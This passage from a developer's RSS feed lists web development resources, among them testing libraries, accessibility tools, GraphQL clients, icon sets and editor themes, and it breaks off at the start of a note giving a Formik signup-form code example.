&lt;li&gt;&lt;a href=&quot;https://github.com/Raathigesh/majestic&quot;&gt;majestic&lt;/a&gt;: Zero config UI for Jest&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mattphillips/jest-chain&quot;&gt;jest-chain&lt;/a&gt;: Chain Jest matchers together to create one powerful assertion 🃏⛓&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jest-community/jest-extended&quot;&gt;jest-extended&lt;/a&gt;: Additional Jest matchers 🃏💪&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jest-community/snapshot-diff&quot;&gt;snapshot-diff&lt;/a&gt;: Diffing snapshot utility for Jest&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/hustcc/jest-date-mock&quot;&gt;jest-date-mock&lt;/a&gt;: 🌗 Mock &lt;code&gt;Date&lt;/code&gt; when run unit test cases with jest. Make tests of Date easier&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://cypress.io&quot;&gt;Cypress&lt;/a&gt;: end-to-end testing&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/kentcdodds/cypress-testing-library&quot;&gt;cypress-testing-library&lt;/a&gt;: 🐅 Simple and complete custom Cypress commands and utilities that encourage good testing practices&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/avanslaars/cypress-axe&quot;&gt;cypress-axe&lt;/a&gt;: Custom commands for Cypress to run a11y checks with axe-core&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/bahmutov/start-server-and-test&quot;&gt;start-server-and-test&lt;/a&gt;: Starts server, waits for URL, then runs test command; when the tests end, shuts down server&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/kentcdodds/dom-testing-library&quot;&gt;dom-testing-library&lt;/a&gt;: 🐙 Simple and complete DOM testing utilities that encourage good testing practices&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/testing-library/react-testing-library&quot;&gt;react-testing-library 🐐&lt;/a&gt;: Simple and complete React DOM testing utilities that encourage good testing practices&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://react-testing-examples.com/&quot;&gt;react-testing-library&lt;/a&gt;: React Testing Examples&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/testing-library/react-hooks-testing-library&quot;&gt;react-hooks-testing-library&lt;/a&gt;: 🐏 Simple and complete React hooks testing utilities that encourage good testing practices&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/chancejs/chancejs&quot;&gt;Chance&lt;/a&gt;: Random generator helper for JavaScript&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/Marak/faker.js&quot;&gt;faker.js&lt;/a&gt;: generate massive amounts of fake data in Node.js and the browser&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/nock/nock&quot;&gt;nock&lt;/a&gt;: HTTP server mocking and expectations library for Node.js&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://stryker-mutator.io/&quot;&gt;Stryker Mutator&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/tatyshev/given2&quot;&gt;given2&lt;/a&gt;: Lazy variable evaluation for Jasmine, Mocha, Jest specs, inspired by Ruby and Rspec 💎&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/caderek/benny&quot;&gt;benny&lt;/a&gt;: A dead simple benchmarking framework for JS/TS libs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/bestiejs/benchmark.js&quot;&gt;benchmark.js&lt;/a&gt;: A benchmarking library. As used on jsPerf.com&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/NoriSte/ui-testing-best-practices&quot;&gt;ui-testing-best-practices&lt;/a&gt;: The largest UI testing best practices list (lat update: April 2020) (work in progress)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Code formatting and linting&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://prettier.io/&quot;&gt;Prettier&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/nrwl/precise-commits&quot;&gt;precise-commits&lt;/a&gt;: Painlessly apply Prettier by only formatting lines you have modified anyway!&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/azz/pretty-quick&quot;&gt;pretty-quick&lt;/a&gt;: Runs Prettier on your changed files&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eslint.org&quot;&gt;Eslint&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/prettier/eslint-plugin-prettier&quot;&gt;eslint-plugin-prettier&lt;/a&gt;: ESLint plugin for prettier formatting&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/prettier/eslint-config-prettier&quot;&gt;eslint-config-prettier&lt;/a&gt;: Turns off all rules that are unnecessary or might conflict with Prettier&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/yannickcr/eslint-plugin-react&quot;&gt;eslint-plugin-react&lt;/a&gt;: React specific linting rules for ESLint&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Miscellaneous&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mysticatea/npm-run-all&quot;&gt;npm-run-all&lt;/a&gt;: A CLI tool to run multiple npm-scripts in parallel or sequential&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/milewski/cross-port-killer&quot;&gt;cross-port-killer&lt;/a&gt;: Kill the process running on a given TCP port on Windows, Linux and Mac&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tabrindle/envinfo&quot;&gt;envinfo&lt;/a&gt;: Generate a report about your development environment for debugging and issue reporting&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/FiloSottile/mkcert&quot;&gt;mkcert&lt;/a&gt;: A simple zero-config tool to make locally trusted development certificates with any names you&apos;d like&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Progressive Web Apps&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/web/tools/workbox/&quot;&gt;Workbox&lt;/a&gt; &amp;amp; (&lt;a href=&quot;https://github.com/GoogleChrome/workbox&quot;&gt;repo&lt;/a&gt;): JavaScript libraries for Progressive Web Apps&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Code Sandboxes&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://codesandbox.io/&quot;&gt;CodeSandbox&lt;/a&gt;: CodeSandbox is perfect for React demo apps&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://codepen.io/&quot;&gt;Codepen&lt;/a&gt;: Codepen is perfect for non-React front-end demos and prototypes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://codeshare.io/&quot;&gt;CodeShare&lt;/a&gt;: Codeshare is useful for collaborating on a single file if devs are not in the same room&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://glitch.com/&quot;&gt;Glitch&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;APIs&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.getpostman.com/&quot;&gt;Postman&lt;/a&gt;: used to develop, test and monitor APIs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.mockapi.io/&quot;&gt;MockAPI&lt;/a&gt;: create a mock API&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jsonbin.org/&quot;&gt;jsonbin&lt;/a&gt;: A personal JSON store as a RESTful service&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.test-cors.org/&quot;&gt;test-cors.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://reqres.in/&quot;&gt;Reqres&lt;/a&gt;: A hosted REST-API ready to respond to your AJAX requests&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://miragejs.com/&quot;&gt;Mirage JS&lt;/a&gt;: An API mocking library for frontend developers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://postwoman.io/&quot;&gt;Postwoman&lt;/a&gt;: API request builder&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;GraphQL&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.graphqlbin.com&quot;&gt;GraphQL Playground&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.apollographql.com/&quot;&gt;Apollo GraphQL&lt;/a&gt;: Apollo Data Graph Platform— unify APIs, microservices, and databases into a data graph that you can query with GraphQL
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.apollographql.com/docs/react/&quot;&gt;Apollo Client (React)&lt;/a&gt;: Apollo React GraphQL Docs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Saeris/graphql-directives&quot;&gt;graphql-directives&lt;/a&gt;: 🧭 A collection of custom GraphQL Schema Directives for use with Apollo Server&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/FormidableLabs/urql&quot;&gt;urql&lt;/a&gt;: The highly customizable and versatile GraphQL client&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/prisma-labs/graphql-request&quot;&gt;graphql-request&lt;/a&gt;: Minimal GraphQL client supporting Node and browsers for scripts or simple apps&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/APIs-guru/graphql-lodash&quot;&gt;graphql-lodash&lt;/a&gt;: 🛠 Data manipulation for GraphQL queries with lodash syntax&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;JSON&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://next.json-generator.com/&quot;&gt;JSON generator&lt;/a&gt;: generate a lot of custom JSON for your app/site&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jsoneditoronline.org/&quot;&gt;JSON Editor Online&lt;/a&gt;: view/edit JSON in a better format&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/antonmedv/fx&quot;&gt;fx&lt;/a&gt;: Command-line tool and terminal JSON viewer 🔥&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;HTML&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joshbuchea/HEAD&quot;&gt;github.com/joshbuchea/HEAD&lt;/a&gt;: the definitive resource for everything that &lt;em&gt;could&lt;/em&gt; go in the head of your document&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://metatags.io/&quot;&gt;MetaTags.io&lt;/a&gt;: Preview, Edit and Generate&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.heymeta.com/&quot;&gt;HEY META&lt;/a&gt;: Website Meta Tag Check&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://richpreview.com/&quot;&gt;Rich Link Preview&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;SVG&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://svgontheweb.com/&quot;&gt;A Practical Guide to SVGs on the web&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://getwaves.io/&quot;&gt;Get Waves&lt;/a&gt;: Create SVG waves for your next design&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.blobmaker.app/&quot;&gt;Blobmaker&lt;/a&gt;: Make organic SVG shapes for your next design&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/veltman/flubber&quot;&gt;flubber&lt;/a&gt;: Tools for smoother shape animations&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.heropatterns.com/&quot;&gt;Hero Patterns&lt;/a&gt;: Free repeatable SVG background patterns for your web projects&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Icons&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://iconsvg.xyz/&quot;&gt;ICONSVG&lt;/a&gt;: Quick customizable SVG icons for your project&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://simpleicons.org/&quot;&gt;Simple Icons&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://react-icons.github.io/react-icons/#/&quot;&gt;React Icons&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://evil-icons.io/&quot;&gt;Evil Icons&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://icomoon.io/&quot;&gt;Icon Font &amp;amp; SVG Icon Sets ❍ IcoMoon&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://svgporn.com/&quot;&gt;SVG PORN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://feathericons.com/&quot;&gt;Feather&lt;/a&gt;: Simply beautiful open source icons
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/feathericons/react-feather&quot;&gt;react-feather&lt;/a&gt;: React component for Feather icons&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://systemuicons.com/&quot;&gt;System UIcons&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;SVG/Image Media compression&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://squoosh.app/&quot;&gt;Squoosh&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jakearchibald.github.io/svgomg/&quot;&gt;SVGOMG&lt;/a&gt;: SVGO&apos;s Missing GUI&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Conversions and unicode&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://transform.now.sh/&quot;&gt;Transform&lt;/a&gt;: All important transforms at one place ⭐️⭐️⭐️ this is so useful&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://svgr.now.sh/&quot;&gt;SVGR&lt;/a&gt;: The SVG to JSX transformer&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://svg2jsx.herokuapp.com/&quot;&gt;svg2jsx&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://json-to-js.com/&quot;&gt;JSON to JavaScript object literal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://unminify.com/&quot;&gt;Unminify JS, CSS and HTML Code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://encoder.internetwache.org/#tab_uni&quot;&gt;Multi-Encoder&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://r12a.github.io/app-conversion/&quot;&gt;Unicode code converter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Features and feature detection&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://caniuse.com/&quot;&gt;Can I Use...&lt;/a&gt;: Browser support tables for modern web technologies (HTML5, CSS3, JavaScript etc)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://kangax.github.io/compat-table/es6/&quot;&gt;Kangax JavaScript compatibility table&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Performance&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://bundlephobia.com/&quot;&gt;Bundlephobia&lt;/a&gt;: find the cost of adding a npm package to your bundle&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Performance testing and monitoring&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.webpagetest.org/&quot;&gt;WebPageTest&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/web/tools/lighthouse/&quot;&gt;Lighthouse&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://calibreapp.com/&quot;&gt;Calibre&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://webspeedtest.cloudinary.com/&quot;&gt;Website Speed Test Image Analysis Tool&lt;/a&gt; by Cloudinary&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Design&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://subtract.design/entry/forms&quot;&gt;Subtract Guides&lt;/a&gt;: Simple Rules for Designing Web &amp;amp; Mobile Forms&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Design Systems and documentation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://storybook.js.org/&quot;&gt;Storybook&lt;/a&gt;: UI dev environment you&apos;ll love to use&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/styleguidist/react-styleguidist&quot;&gt;react-styleguidist&lt;/a&gt;: - Isolated React component development environment with a living style guide&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docusaurus.io/&quot;&gt;Docusaurus&lt;/a&gt;: Easy to Maintain Open Source Documentation Websites&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.docz.site/&quot;&gt;Docz&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mrmartineau/design-system-utils&quot;&gt;design-system-utils&lt;/a&gt;: - Design system framework for modern front-end projects&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docute.org/&quot;&gt;Docute&lt;/a&gt;: The fastest way to create a documentation site for your project&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/seek-oss/playroom&quot;&gt;playroom&lt;/a&gt;: Design with JSX, powered by your own component library&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Accessibility (A11y)&lt;/h1&gt;
&lt;p&gt;Accessibility is an extremely important part of any web project. While the SOW, functional spec or user-stories might not directly mention a11y, it is up to each developer to ensure that best efforts are made to make our websites as accessible as possible.&lt;/p&gt;
&lt;h2&gt;A11y tools and resources:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://code.viget.com/interactive-wcag/&quot;&gt;Interactive WCAG&lt;/a&gt;: guidelines/cheatsheet for A, AA &amp;amp; AAA&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/brunopulis/awesome-a11y&quot;&gt;awesome-a11y&lt;/a&gt;: massive list of a11y-related resources &amp;amp; information&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tenon.io/&quot;&gt;tenon.io&lt;/a&gt;: a11y tester&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://a11yproject.com/checklist.html&quot;&gt;a11yproject.com/checklist.html&lt;/a&gt;: a11y checklist&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://a11yproject.com/&quot;&gt;a11yproject.com&lt;/a&gt;: a11y resources&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.w3.org/WAI/ER/tools/&quot;&gt;w3.org/WAI/ER/tools/&lt;/a&gt;: list of a11y tools from the W3C&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://allyjs.io/index.html&quot;&gt;allyjs.io&lt;/a&gt;: JavaScript library to help modern web applications with accessibility concerns by making accessibility simpler&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.w3.org/TR/UNDERSTANDING-WCAG20/intro.html#introduction-fourprincs-head&quot;&gt;Four principles of Accessibility&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://w3c.github.io/aria-practices/examples/landmarks/index.html&quot;&gt;Aria landmarks example&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://a11y-style-guide.com/style-guide/&quot;&gt;A11y Style-guide&lt;/a&gt;: markup examples and best practices&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://inclusive-components.design/&quot;&gt;Inclusive Components&lt;/a&gt;: A blog trying to be a pattern library. All about designing inclusive web interfaces, piece by piece.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://leaverou.github.io/contrast-ratio/&quot;&gt;Color contrast checker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://toolness.github.io/accessible-color-matrix/&quot;&gt;Accessible color palette builder&lt;/a&gt;: An prototype to help designers build accessible color palettes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://heydonworks.com/practical_aria_examples/&quot;&gt;Practical ARIA Examples&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://davatron5000.github.io/a11y-nutrition-cards/&quot;&gt;Nutrition Cards for Accessible Components A11Y Expectations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.w3.org/WAI/tutorials/&quot;&gt;Web Accessibility Tutorials&lt;/a&gt;: Guidance on how to create websites that meet WCAG&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;A11y Chrome extensions&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://chrome.google.com/webstore/detail/accessibility-insights-fo/pbjjkligggfmakdaogkfomddhfmpjeni&quot;&gt;Accessibility Insights for Web&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://chrome.google.com/webstore/detail/color-contrast-analyzer/dagdlcijhfbmgkjokkjicnnfimlebcll&quot;&gt;Color Contrast Analyzer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://chrome.google.com/webstore/detail/nocoffee/jjeeggmbnhckmgdhmgdckeigabjfbddl&quot;&gt;NoCoffee&lt;/a&gt;: has options for testing color blindness and other sight-related issues&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;DevOps&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://httpstatuses.com/&quot;&gt;HTTP Status Codes&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Continuous integration&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://circleci.com&quot;&gt;CircleCI&lt;/a&gt;: Paid.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bitrise.com&quot;&gt;Bitrise&lt;/a&gt;: Paid. For iOS/Android apps&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://travisci.com&quot;&gt;Travis CI&lt;/a&gt;: Free for open-source&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Docker&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/goodwithtech/dockle&quot;&gt;dockle&lt;/a&gt;: Container Image Linter for Security, Helping build the Best-Practice Docker Image, Easy to start&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Hosting&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://vercel.com&quot;&gt;Vercel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://netlify.com&quot;&gt;Netlify&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Domains&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://iwantmyname.com/&quot;&gt;iwantmyname&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Design&lt;/h1&gt;
&lt;h2&gt;Typography&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://modularscale.com/&quot;&gt;Modular Scale&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://codepen.io/getflourish/full/vXqewy/&quot;&gt;Adaptive Modular Scale&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://type-scale.com/&quot;&gt;Type Scale - A Visual Calculator&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;IDEs and Text Editors&lt;/h1&gt;
&lt;h2&gt;VS Code&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/mrmartineau/28ef03c53275ea468e470532d6d20449&quot;&gt;My VS Code extensions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/mrmartineau/ea3b428124bc1e31cd46dfa55469d781&quot;&gt;My preferences&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/viatsko/awesome-vscode&quot;&gt;awesome-vscode&lt;/a&gt;: 🎨 A curated list of delightful VS Code packages and resources&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Programming fonts&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.ibm.com/plex/&quot;&gt;IBM Plex Mono&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/iaolo/iA-Fonts&quot;&gt;iA-Fonts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://input.fontbureau.com/&quot;&gt;Input: Fonts for Code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/tonsky/FiraCode&quot;&gt;FiraCode&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/belluzj/fantasque-sans&quot;&gt;fantasque-sans&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/JetBrains/JetBrainsMono&quot;&gt;Jet Brains Mono&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Code colour schemes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://monokai.pro/&quot;&gt;Monokai Pro&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=teabyii.ayu&quot;&gt;Ayu (Mirage)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://draculatheme.com/visual-studio-code/&quot;&gt;Dracula&lt;/a&gt;: A dark theme for Visual Studio Code and 50+ apps&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=gerane.Theme-OceanicNext&quot;&gt;Oceanic Next Theme&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/sdras/night-owl-vscode-theme&quot;&gt;🌌 Night Owl&lt;/a&gt;: A VS Code dark theme for contrast for nighttime coding&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=arcticicestudio.nord-visual-studio-code&quot;&gt;Nord&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vscodethemes.com/&quot;&gt;VSCodeThemes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mjswensen/themer&quot;&gt;themer&lt;/a&gt;: 🎨 themer takes a set of colors and generates themes for your apps (editors, terminals, wallpapers, and more)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Regular expressions&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://regex101.com/&quot;&gt;Regex101&lt;/a&gt;: Online regex tester and debugger: PHP, PCRE, Python, Golang and JavaScript&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Learning resources&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://andreasbm.github.io/web-skills/?compact&quot;&gt;Web Skills&lt;/a&gt;: A visual overview of useful skills to learn as a web developer&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;If you think there are better alternatives, or that there should be something added to the list, please &lt;a href=&quot;https://github.com/mrmartineau/awesome-web-dev-resources/issues/new&quot;&gt;create an issue&lt;/a&gt; or &lt;a href=&quot;https://github.com/mrmartineau/awesome-web-dev-resources/pulls&quot;&gt;create a pull request&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><author>Zander Martineau</author></item><item><title>Formik</title><link>https://zander.wtf/notes/formik/</link><guid isPermaLink="true">https://zander.wtf/notes/formik/</guid><description>Simple example Using Yup for validation Common patterns Loading state Use the useToggle hook to manipulate loading state for your form. When used…</description><pubDate>Thu, 11 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Simple example&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import { Formik, ErrorMessage, ErrorMessage, FormikHelpers, Form } from &apos;formik&apos;

interface SignupFormValues {
  email: string
  password: string
  firstName: string
  lastName: string
}

export const SignupForm = () =&amp;gt; {
  const [formError, setFormError] = useState&amp;lt;string&amp;gt;(&apos;&apos;)

  return (
    &amp;lt;Formik
      initialValues={{
        email: &apos;&apos;,
        password: &apos;&apos;,
        firstName: &apos;&apos;,
